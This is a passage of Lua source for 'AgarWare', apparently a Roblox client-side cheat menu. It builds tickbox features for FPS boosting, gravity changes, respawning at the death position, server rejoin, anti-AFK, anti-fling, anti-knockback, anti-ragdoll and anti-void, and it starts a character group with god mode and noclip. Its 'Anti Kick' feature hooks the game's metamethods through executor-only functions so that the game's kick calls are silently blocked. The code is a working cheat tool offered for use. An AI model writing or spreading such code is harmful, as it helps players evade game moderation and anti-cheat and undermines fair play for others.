end) -- PC: bind shift key ContextActionService:BindAction("ShiftLockToggle", function(_, inputState) if inputState == Enum.UserInputState.Begin then shiftLockToggle() end end, false, Enum.KeyCode.LeftShift) end local function destroyUI() disableShiftlock() ContextActionService:UnbindAction("ShiftLockToggle") if shiftLockGui then shiftLockGui:Destroy() shiftLockGui = nil imageButton = nil end end ShiftLockTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled ShiftLockTickBox.BackgroundColor3 = isEnabled and getAccent() or Color3.new(0, 0, 0) if isEnabled then createUI() else destroyUI() end end) LocalPlayer.CharacterAdded:Connect(function() if isEnabled then task.wait(0.5) createUI() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then destroyUI() tooltipFrame:Destroy() end end) end; task.spawn(C_31); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscScript local function C_35() local script = G2L["35"]; -- ============================================================ -- MISC GROUP MASTER SCRIPT -- Place this script directly under MiscGroup -- Handles: Minimize, Boost FPS, Respawn Death, Rejoin Button, Gravity -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService") local Lighting = game:GetService("Lighting") local LocalPlayer = Players.LocalPlayer local MiscGroup = script.Parent local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize local MiscAccentColor = MiscGroup:FindFirstChild("MiscAccentColor") -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = MiscGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text, parent) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame if parent then parent.MouseEnter:Connect(function() local abs = parent.AbsolutePosition local size = parent.AbsoluteSize frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) frame.Visible = true end) parent.MouseLeave:Connect(function() frame.Visible = false end) end return frame end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(MiscGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = MiscGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) MiscMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then MiscGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end MiscMinimize.Text = "+" else MiscGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end MiscMinimize.Text = "-" end end) -- ============================================================ -- TICKBOX FEATURE SETUP -- ============================================================ local activeFeatures = {} local function setupTickBox(config) local rowName = config.row local tickBoxName = config.tickBox local tooltipText = config.tooltip local onEnable = config.onEnable local onDisable = config.onDisable local loop = config.loop local row = MiscGroup:FindFirstChild(rowName) if not row then warn("[MiscGroup] Row not found:", rowName) return end local tickBox = row:FindFirstChild(tickBoxName) if not tickBox then warn("[MiscGroup] TickBox not found:", tickBoxName) return end local isEnabled = false local loopConnection = nil tickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Create tooltip local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox) -- Enable function local function enable() isEnabled = true if MiscAccentColor then tickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 else tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) end if onEnable then pcall(onEnable) end if loop then loopConnection = RunService.Heartbeat:Connect(function() if isEnabled then pcall(loop) end end) end end -- Disable function local function disable() isEnabled = false tickBox.BackgroundColor3 = Color3.new(0, 0, 0) if loopConnection then loopConnection:Disconnect() loopConnection = nil end if onDisable then pcall(onDisable) end end -- Click handler tickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- Store for cleanup table.insert(activeFeatures, { tooltip = tooltip, disable = disable, connection = loopConnection }) return { enable = enable, disable = disable, isEnabled = function() return isEnabled end } end -- ============================================================ -- BUTTON FEATURE SETUP -- ============================================================ local function setupButton(config) local rowName = config.row local buttonName = config.button local tooltipText = config.tooltip local onClick = config.onClick local row = MiscGroup:FindFirstChild(rowName) if not row then warn("[MiscGroup] Row not found:", rowName) return end local button = row:FindFirstChild(buttonName) if not button then warn("[MiscGroup] Button not found:", buttonName) return end -- Create tooltip if provided if tooltipText then local tooltip = createTooltip(buttonName .. "Tooltip", tooltipText, button) table.insert(activeFeatures, {tooltip = tooltip}) end -- Click handler button.MouseButton1Click:Connect(function() if onClick then pcall(onClick) end end) end -- ============================================================ -- FEATURES START HERE -- ============================================================ -- BOOST FPS local savedSettings = { WaterWaveSize = nil, WaterWaveSpeed = nil, WaterReflectance = nil, WaterTransparency = nil, GlobalShadows = nil, FogEnd = nil, FogStart = nil, QualityLevel = nil, } local savedParts = {} local savedDecals = {} local savedEffects = {} local descendantConn = nil setupTickBox({ row = "BoostFPSRow", tickBox = "BoostFPSTickBox", tooltip = "Reduces graphics and removes effects to boost FPS", onEnable = function() local Terrain = workspace:FindFirstChildWhichIsA("Terrain") if Terrain then savedSettings.WaterWaveSize = Terrain.WaterWaveSize savedSettings.WaterWaveSpeed = Terrain.WaterWaveSpeed savedSettings.WaterReflectance = Terrain.WaterReflectance savedSettings.WaterTransparency = Terrain.WaterTransparency Terrain.WaterWaveSize = 0 Terrain.WaterWaveSpeed = 0 Terrain.WaterReflectance = 0 Terrain.WaterTransparency = 1 end savedSettings.GlobalShadows = Lighting.GlobalShadows savedSettings.FogEnd = Lighting.FogEnd savedSettings.FogStart = Lighting.FogStart savedSettings.QualityLevel = settings().Rendering.QualityLevel Lighting.GlobalShadows = false Lighting.FogEnd = 9e9 Lighting.FogStart = 9e9 settings().Rendering.QualityLevel = 1 for _, v in pairs(game:GetDescendants()) do if v:IsA("BasePart") then savedParts[v] = { CastShadow = v.CastShadow, Material = v.Material, Reflectance = v.Reflectance, BackSurface = v.BackSurface, BottomSurface = v.BottomSurface, FrontSurface = v.FrontSurface, LeftSurface = v.LeftSurface, RightSurface = v.RightSurface, TopSurface = v.TopSurface, } v.CastShadow = false v.Material = Enum.Material.Plastic v.Reflectance = 0 v.BackSurface = Enum.SurfaceType.SmoothNoOutlines v.BottomSurface = Enum.SurfaceType.SmoothNoOutlines v.FrontSurface = Enum.SurfaceType.SmoothNoOutlines v.LeftSurface = Enum.SurfaceType.SmoothNoOutlines v.RightSurface = Enum.SurfaceType.SmoothNoOutlines v.TopSurface = Enum.SurfaceType.SmoothNoOutlines elseif v:IsA("Decal") then savedDecals[v] = {Transparency = v.Transparency, Texture = v.Texture} v.Transparency = 1 v.Texture = "" elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then savedEffects[v] = {Lifetime = v.Lifetime} v.Lifetime = NumberRange.new(0) end end for _, v in pairs(Lighting:GetDescendants()) do if v:IsA("PostEffect") then savedEffects[v] = {Enabled = v.Enabled} v.Enabled = false end end descendantConn = workspace.DescendantAdded:Connect(function(child) task.spawn(function() if child:IsA("ForceField") or child:IsA("Sparkles") or child:IsA("Smoke") or child:IsA("Fire") or child:IsA("Beam") then RunService.Heartbeat:Wait() child:Destroy() elseif child:IsA("BasePart") then child.CastShadow = false end end) end) end, onDisable = function() if descendantConn then descendantConn:Disconnect() descendantConn = nil end local Terrain = workspace:FindFirstChildWhichIsA("Terrain") if Terrain then if savedSettings.WaterWaveSize then Terrain.WaterWaveSize = savedSettings.WaterWaveSize end if savedSettings.WaterWaveSpeed then Terrain.WaterWaveSpeed = savedSettings.WaterWaveSpeed end if savedSettings.WaterReflectance then Terrain.WaterReflectance = savedSettings.WaterReflectance end if savedSettings.WaterTransparency then Terrain.WaterTransparency = savedSettings.WaterTransparency end end if savedSettings.GlobalShadows ~= nil then Lighting.GlobalShadows = savedSettings.GlobalShadows end if savedSettings.FogEnd then Lighting.FogEnd = savedSettings.FogEnd end if savedSettings.FogStart then Lighting.FogStart = savedSettings.FogStart end if savedSettings.QualityLevel then settings().Rendering.QualityLevel = savedSettings.QualityLevel end for v, data in pairs(savedParts) do pcall(function() v.CastShadow = data.CastShadow v.Material = data.Material v.Reflectance = data.Reflectance v.BackSurface = data.BackSurface v.BottomSurface = data.BottomSurface v.FrontSurface = data.FrontSurface v.LeftSurface = data.LeftSurface v.RightSurface = data.RightSurface v.TopSurface = data.TopSurface end) end for v, data in pairs(savedDecals) do pcall(function() v.Transparency = data.Transparency v.Texture = data.Texture end) end for v, data in pairs(savedEffects) do pcall(function() if data.Lifetime then v.Lifetime = data.Lifetime elseif data.Enabled ~= nil then v.Enabled = data.Enabled end end) end savedParts = {} savedDecals = {} savedEffects = {} end }) -- RESPAWN DEATH local lastPosition = nil setupTickBox({ row = "RespawnDeathRow", tickBox = "RespawnDeathTickBox", tooltip = "Respawns you at your last position when you die instead of at the spawn point.", onEnable = function() -- Save position every second task.spawn(function() while true do task.wait(1) local character = LocalPlayer.Character if character then local hrp = character:FindFirstChild("HumanoidRootPart") if hrp then lastPosition = hrp.CFrame end end end end) -- Watch for respawns LocalPlayer.CharacterAdded:Connect(function(character) if lastPosition then local hrp = character:WaitForChild("HumanoidRootPart") task.wait(0.01) hrp.CFrame = lastPosition end end) end, onDisable = function() lastPosition = nil end }) -- GRAVITY local DEFAULT_GRAVITY = 196.2 local GravityRow = MiscGroup:FindFirstChild("GravityRow") if GravityRow then local GravityChanger = GravityRow:FindFirstChild("GravityChanger") local function getGravity() if not GravityChanger then return DEFAULT_GRAVITY end local text = string.lower(GravityChanger.Text) if text == "inf" or text == "infinity" then return math.huge end local num = tonumber(GravityChanger.Text) if num == 0 then return 0 end return num and num > 0 and num or DEFAULT_GRAVITY end local gravityFeature = setupTickBox({ row = "GravityRow", tickBox = "GravityTickBox", tooltip = "Changes workspace gravity. Default is 196.2. Set to 0 for no gravity, or type inf for max gravity.", onEnable = function() workspace.Gravity = getGravity() end, onDisable = function() workspace.Gravity = DEFAULT_GRAVITY end }) if GravityChanger then GravityChanger:GetPropertyChangedSignal("Text"):Connect(function() if gravityFeature and gravityFeature.isEnabled() then workspace.Gravity = getGravity() end end) GravityChanger.FocusLost:Connect(function() local text = string.lower(GravityChanger.Text) if text == "inf" or text == "infinity" or text == "" then return end local num = tonumber(GravityChanger.Text) if num == nil then GravityChanger.Text = "" end end) end LocalPlayer.CharacterAdded:Connect(function(character) character:WaitForChild("Humanoid") if gravityFeature and gravityFeature.isEnabled() then workspace.Gravity = getGravity() end end) end -- ============================================================ -- ADD NEW FEATURES HERE - USE THESE TEMPLATES: -- ============================================================ --[[ TICKBOX TEMPLATE: setupTickBox({ row = "YourRow", tickBox = "YourTickBox", tooltip = "What this feature does", onEnable = function() -- Runs once when enabled end, onDisable = function() -- Runs once when disabled end, loop = function() -- Runs every frame while enabled end }) ================================================================================ BUTTON TEMPLATE: setupButton({ row = "YourRow", button = "YourButton", tooltip = "What this button does", -- Optional onClick = function() -- Runs when clicked end }) ================================================================================ ]] -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, feature in pairs(activeFeatures) do if feature.tooltip then feature.tooltip:Destroy() end if feature.disable then feature.disable() end end end end) end; task.spawn(C_35); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinScript local function C_3b() local script = G2L["3b"]; local Players = game:GetService("Players") local TeleportService = game:GetService("TeleportService") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local RejoinRow = script.Parent local RejoinButton = RejoinRow.RejoinButton local HOLD_TIME = 1 local GREY = Color3.fromRGB(80, 80, 80) local WHITE = Color3.new(1, 1, 1) -- Wait for GUI to be fully loaded if not game:IsLoaded() then game.Loaded:Wait() end -- Clear the button's default text RejoinButton.Text = "" local fillBar = Instance.new("Frame") fillBar.Name = "FillBar" fillBar.Size = UDim2.new(0, 0, 1, 0) fillBar.Position = UDim2.new(0, 0, 0, 0) fillBar.BackgroundColor3 = GREY fillBar.BorderSizePixel = 0 fillBar.ZIndex = 1 fillBar.Parent = RejoinButton local btnLabel = Instance.new("TextLabel") btnLabel.Name = "BtnLabel" btnLabel.Size = UDim2.new(1, 0, 1, 0) btnLabel.Position = UDim2.new(0, 0, 0, 0) btnLabel.BackgroundTransparency = 1 btnLabel.Text = "Rejoin Server" btnLabel.TextColor3 = WHITE btnLabel.TextSize = 14 btnLabel.Font = Enum.Font.Code btnLabel.ZIndex = 2 btnLabel.Parent = RejoinButton local holding = false local progress = 0 local connection = nil local function rejoin() TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId, LocalPlayer) end local function stopHold() holding = false if connection then connection:Disconnect() connection = nil end progress = 0 fillBar.Size = UDim2.new(0, 0, 1, 0) fillBar.BackgroundColor3 = GREY btnLabel.Text = "Rejoin Server" btnLabel.TextColor3 = WHITE end RejoinButton.MouseButton1Down:Connect(function() holding = true progress = 0 btnLabel.Text = "Hold to Rejoin..." fillBar.BackgroundColor3 = GREY connection = RunService.RenderStepped:Connect(function(dt) if not holding then return end progress = progress + (dt / HOLD_TIME) progress = math.clamp(progress, 0, 1) fillBar.Size = UDim2.new(progress, 0, 1, 0) if progress >= 1 then btnLabel.Text = "Rejoining..." stopHold() task.wait(0.1) rejoin() end end) end) RejoinButton.MouseButton1Up:Connect(function() stopHold() end) RejoinButton.MouseLeave:Connect(function() stopHold() end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then if connection then connection:Disconnect() end end end) end; task.spawn(C_3b); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiScript local function C_4a() local script = G2L["4a"]; -- ============================================================ -- ANTI GROUP MASTER SCRIPT -- Place this script directly under AntiGroup -- Handles: Minimize, AntiAfk, AntiFling, AntiKB, AntiKick, AntiRagdoll, AntiVoid -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local AntiGroup = script.Parent local AntiMinimize = AntiGroup.AntiTitle.AntiMinimize local AntiAccentColor = AntiGroup:FindFirstChild("AntiAccentColor") -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = AntiGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text, parent) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame if parent then parent.MouseEnter:Connect(function() local abs = parent.AbsolutePosition local size = parent.AbsoluteSize frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) frame.Visible = true end) parent.MouseLeave:Connect(function() frame.Visible = false end) end return frame end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(AntiGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = AntiGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) AntiMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then AntiGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end AntiMinimize.Text = "+" else AntiGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end AntiMinimize.Text = "-" end end) -- ============================================================ -- TICKBOX FEATURE SETUP -- ============================================================ local activeFeatures = {} local function setupTickBox(config) local rowName = config.row local tickBoxName = config.tickBox local tooltipText = config.tooltip local onEnable = config.onEnable local onDisable = config.onDisable local loop = config.loop local row = AntiGroup:FindFirstChild(rowName) if not row then warn("[AntiGroup] Row not found:", rowName) return end local tickBox = row:FindFirstChild(tickBoxName) if not tickBox then warn("[AntiGroup] TickBox not found:", tickBoxName) return end local isEnabled = false local loopConnection = nil tickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Create tooltip local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox) -- Enable function local function enable() isEnabled = true if AntiAccentColor then tickBox.BackgroundColor3 = AntiAccentColor.BackgroundColor3 else tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) end if onEnable then pcall(onEnable) end if loop then loopConnection = RunService.Heartbeat:Connect(function() if isEnabled then pcall(loop) end end) end end -- Disable function local function disable() isEnabled = false tickBox.BackgroundColor3 = Color3.new(0, 0, 0) if loopConnection then loopConnection:Disconnect() loopConnection = nil end if onDisable then pcall(onDisable) end end -- Click handler tickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- Store for cleanup table.insert(activeFeatures, { tooltip = tooltip, disable = disable, connection = loopConnection }) return { enable = enable, disable = disable, isEnabled = function() return isEnabled end } end -- ============================================================ -- FEATURES START HERE -- ============================================================ -- ANTI AFK local afkTask = nil setupTickBox({ row = "AntiAfkRow", tickBox = "AntiAfkTickBox", tooltip = "Prevents you from being kicked for being AFK", onEnable = function() afkTask = task.spawn(function() while true do local virtualUser = game:GetService("VirtualUser") virtualUser:CaptureController() virtualUser:ClickButton2(Vector2.new()) task.wait(60) end end) end, onDisable = function() if afkTask then task.cancel(afkTask) afkTask = nil end end }) -- ANTI FLING local antiFlingConnection = nil setupTickBox({ row = "AntiFlingRow", tickBox = "AntiFlingTickBox", tooltip = "Disables collision with other players", onEnable = function() -- Set all current players to no collide for _, player in pairs(Players:GetPlayers()) do if player ~= LocalPlayer and player.Character then for _, part in pairs(player.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end end end -- Use Stepped instead of Heartbeat for better anti-fling if antiFlingConnection then antiFlingConnection:Disconnect() end antiFlingConnection = RunService.Stepped:Connect(function() for _, player in pairs(Players:GetPlayers()) do if player ~= LocalPlayer and player.Character then for _, part in pairs(player.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end end end end) end, onDisable = function() if antiFlingConnection then antiFlingConnection:Disconnect() antiFlingConnection = nil end -- Re-enable collision for all players for _, player in pairs(Players:GetPlayers()) do if player ~= LocalPlayer and player.Character then for _, part in pairs(player.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end end end end }) -- ANTI KB setupTickBox({ row = "AntiKBRow", tickBox = "AntiKBTickBox", tooltip = "Prevents your character from being knocked back. May not work in all games", loop = function() local character = LocalPlayer.Character if not character then return end local hrp = character:FindFirstChild("HumanoidRootPart") if not hrp then return end hrp.AssemblyLinearVelocity = Vector3.new(0, hrp.AssemblyLinearVelocity.Y, 0) hrp.AssemblyAngularVelocity = Vector3.zero end }) -- ANTI KICK local oldhmmi = nil local oldhmmnc = nil local oldKickFunction = nil setupTickBox({ row = "AntiKickRow", tickBox = "AntiKickTickBox", tooltip = "Prevents the game from kicking you via LocalScript. Does not work on server-side kicks.", onEnable = function() if not hookmetamethod then return end if hookfunction then oldKickFunction = hookfunction(LocalPlayer.Kick, function() end) end oldhmmi = hookmetamethod(game, "__index", function(self, method) if self == LocalPlayer and method:lower() == "kick" then return error("Expected ':' not '.' calling member function Kick", 2) end return oldhmmi(self, method) end) oldhmmnc = hookmetamethod(game, "__namecall", function(self, ...) if self == LocalPlayer and getnamecallmethod():lower() == "kick" then return end return oldhmmnc(self, ...) end) end, onDisable = function() if oldKickFunction and hookfunction then pcall(function() hookfunction(LocalPlayer.Kick, oldKickFunction) end) oldKickFunction = nil end if oldhmmi and hookmetamethod then pcall(function() hookmetamethod(game, "__index", oldhmmi) end) oldhmmi = nil end if oldhmmnc and hookmetamethod then pcall(function() hookmetamethod(game, "__namecall", oldhmmnc) end) oldhmmnc = nil end end }) -- ANTI RAGDOLL setupTickBox({ row = "AntiRagdollRow", tickBox = "AntiRagdollTickBox", tooltip = "Prevents your character from ragdolling. May not work in all games", onEnable = function() local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false) humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown, false) end end, onDisable = function() local character = LocalPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, true) humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown, true) end end, loop = function() local chr = LocalPlayer.Character if not chr then return end local hum = chr:FindFirstChildOfClass("Humanoid") if not hum then return end for _, part in pairs(chr:GetDescendants()) do if part:IsA("BallSocketConstraint") or part:IsA("HingeConstraint") then if part:FindFirstAncestorOfClass("Motor6D") == nil then part.Enabled = false end end end if hum:GetState() == Enum.HumanoidStateType.Ragdoll or hum:GetState() == Enum.HumanoidStateType.FallingDown then hum:ChangeState(Enum.HumanoidStateType.GettingUp) end end }) -- ANTI VOID local originalDestroyHeight = workspace.FallenPartsDestroyHeight local dhoffset = 5 local dhto = 25 local fpsdiv = 5 local connectsextra = {} local charcframe = nil local tpcframe = nil local voidStopped = false local voidSteppedConn = nil local voidCharConn = nil local function dochar(character) coroutine.wrap(function() repeat task.wait() until character:FindFirstChildWhichIsA("Humanoid") local hum = character:FindFirstChildWhichIsA("Humanoid") local state = hum:GetState() table.insert(connectsextra, hum.StateChanged:Connect(function(old, new) state = new end)) local oldstate = nil while hum ~= nil and hum.Parent ~= nil and not voidStopped do task.wait() if state ~= oldstate and (state ~= Enum.HumanoidStateType.Jumping and state ~= Enum.HumanoidStateType.Freefall) or (state == Enum.HumanoidStateType.Running or state == Enum.HumanoidStateType.Landed) then tpcframe = charcframe end oldstate = state end end)() end local function fixchar(character, part, destroyheightnew) if character then local piv = character:GetPivot() character:PivotTo(CFrame.new(piv.Position.X, workspace.FallenPartsDestroyHeight + dhto + character:GetExtentsSize().Y, piv.Position.Z)) end if part then part.Velocity = Vector3.new(0, 0, 0) if character then for _, v in pairs(character:GetChildren()) do if v:IsA("BasePart") then v.Velocity = Vector3.new(0, 0, 0) end end end end end setupTickBox({ row = "AntiVoidRow", tickBox = "AntiVoidTickBox", tooltip = "Prevents your character from falling into the void", onEnable = function() voidStopped = false workspace.FallenPartsDestroyHeight = -50000 local destroyheightnew = originalDestroyHeight + dhoffset local character = LocalPlayer.Character if character then dochar(character) end voidCharConn = LocalPlayer.CharacterAdded:Connect(function(newCharacter) dochar(newCharacter) end) voidSteppedConn = RunService.Stepped:Connect(function() local chr = LocalPlayer.Character if chr ~= nil and chr:FindFirstChildWhichIsA("BasePart") then local part = chr:FindFirstChild("HumanoidRootPart") or chr:FindFirstChildWhichIsA("BasePart") local cfr = (chr:FindFirstChild("HumanoidRootPart") and chr.HumanoidRootPart.CFrame) or chr:GetPivot() charcframe = cfr if cfr.Position.Y < destroyheightnew then fixchar(chr, part, destroyheightnew) end local partvel = part.Velocity if (partvel.Y / fpsdiv) + part.Position.Y < destroyheightnew then fixchar(chr, part, destroyheightnew) end end end) end, onDisable = function() voidStopped = true workspace.FallenPartsDestroyHeight = originalDestroyHeight if voidSteppedConn then voidSteppedConn:Disconnect() voidSteppedConn = nil end if voidCharConn then voidCharConn:Disconnect() voidCharConn = nil end for _, v in pairs(connectsextra) do v:Disconnect() end connectsextra = {} end }) -- ============================================================ -- ADD NEW FEATURES HERE - USE THIS TEMPLATE: -- ============================================================ --[[ setupTickBox({ row = "YourRow", tickBox = "YourTickBox", tooltip = "What this feature does", onEnable = function() -- Runs once when enabled end, onDisable = function() -- Runs once when disabled end, loop = function() -- Runs every frame while enabled end }) ]] -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, feature in pairs(activeFeatures) do if feature.tooltip then feature.tooltip:Destroy() end if feature.disable then feature.disable() end end end end) end; task.spawn(C_4a); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterScript local function C_62() local script = G2L["62"]; -- ============================================================ -- CHARACTER GROUP MASTER SCRIPT -- Place this script directly under CharacterGroup -- Handles: Minimize, FreezeAnim, GodMode, Noclip, TpPlayer, TpSpawn -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local CharacterGroup = script.Parent local CharacterMinimize = CharacterGroup.CharacterTitle.CharacterMinimize local CharacterAccentColor = CharacterGroup:FindFirstChild("CharacterAccentColor") -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = CharacterGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text, parent) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame if parent then parent.MouseEnter:Connect(function() local abs = parent.AbsolutePosition local size = parent.AbsoluteSize frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) frame.Visible = true end) parent.MouseLeave:Connect(function() frame.Visible = false end) end return frame end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(CharacterGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = CharacterGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) CharacterMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then CharacterGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end CharacterMinimize.Text = "+" else CharacterGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end CharacterMinimize.Text = "-" end end) -- ============================================================ -- TICKBOX FEATURE SETUP -- ============================================================ local activeFeatures = {} local function setupTickBox(config) local rowName = config.row local tickBoxName = config.tickBox local tooltipText = config.tooltip local onEnable = config.onEnable local onDisable = config.onDisable local loop = config.loop local row = CharacterGroup:FindFirstChild(rowName) if not row then warn("[CharacterGroup] Row not found:", rowName) return end local tickBox = row:FindFirstChild(tickBoxName) if not tickBox then warn("[CharacterGroup] TickBox not found:", tickBoxName) return end local isEnabled = false local loopConnection = nil tickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Create tooltip local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox) -- Enable function local function enable() isEnabled = true if CharacterAccentColor then tickBox.BackgroundColor3 = CharacterAccentColor.BackgroundColor3 else tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) end if onEnable then pcall(onEnable) end if loop then loopConnection = RunService.Heartbeat:Connect(function() if isEnabled then pcall(loop) end end) end end -- Disable function local function disable() isEnabled = false tickBox.BackgroundColor3 = Color3.new(0, 0, 0) if loopConnection then loopConnection:Disconnect() loopConnection = nil end if onDisable then pcall(onDisable) end end -- Click handler tickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- Store for cleanup 